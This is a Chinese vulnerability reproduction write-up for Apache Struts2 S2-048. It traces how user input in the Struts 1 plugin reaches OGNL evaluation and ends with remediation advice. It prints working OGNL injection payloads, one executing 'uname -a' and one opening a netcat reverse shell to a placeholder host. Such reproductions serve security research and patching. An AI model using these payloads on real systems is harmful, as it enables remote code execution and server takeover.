?Strtus2-048
一、漏洞描述:
ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行所以访问 /integration/saveGangster.action 构造payload。
二、影响版本:
Struts 2.3.x with Struts 1 plugin and Struts 1 action
三、漏洞复现:
S2-048漏洞问题出现在struts2-struts1-plugin-2.3.32.jar 插件,这个插件的作用是可以让struts2能够兼容struts1的代码。
struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java
首先调用对应的action处理请求,处理完成后会产生消息,进入了getText方法,先跟进execute方法:
Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration());
ActionMapping mapping = strutsFactory.createActionMapping(actionConfig);
HttpServletRequest request = ServletActionContext.getRequest();
HttpServletResponse response = ServletActionContext.getResponse();
ActionForward forward = action.execute(mapping, this.actionForm, request, response);
ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");
if (messages != null) {
Iterator i = messages.get();
?
label36:
while(true) {
while(true) {
if (!i.hasNext()) {
break label36;
}
?
ActionMessage msg = (ActionMessage)i.next();
if (msg.getValues() != null && msg.getValues().length > 0) {
this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues())));
} else {
this.addActionMessage(this.getText(msg.getKey()));
}
}
}
}
找到action.execute(mapping, this.actionForm, request, response);这个action类方法的execute具体的实现代码:
进入详细的execte具体的方法代码:
public ActionForward execute(ActionMapping mapping, ActionForm form, ServletRequest request, ServletResponse response) throws Exception {
try {
return this.execute(mapping, form, (HttpServletRequest)request, (HttpServletResponse)response);
} catch (ClassCastException var6) {
return null;
}
}
?
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
return null;
}
src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java
@Override
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
?
// Some code to save the gangster to the db as necessary
GangsterForm gform = (GangsterForm) form;
ActionMessages messages = new ActionMessages();
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully"));
addMessages(request, messages);
?
return mapping.findForward("success");
}
前台对应页面:
gform.getName()类似于$_POST['name'],直接将用户输入进行拼接。
struts2-struts1-plugin-2.3.32-sources.jar!/org/apache/struts2/s1/Struts1Action.java
网页执行POC
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname -a').getInputStream())).(#q)}
断点调试:
具体执行的命令:
可以看到ognl表达是已经传入,接下来就是ognl的解析执行了。
执行成功:
和系统的uname -a一致
换一个方式:执行反弹shell
反弹:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('nc -e /bin/bash XX.XX.XX.XX 34567').getInputStream())).(#q)}
断点调试获取反弹的信息:
成功执行:
成功获取shell
四、漏洞修复:
1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:
messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));
一定不要使用如下的方式
messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));
3、 解决方案:建议升级到最新版本。
参考:
https://seaii-blog.com/index.php/2019/12/29/90.html
https://blog.csdn.net/qq_29647709/article/details/84952381
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400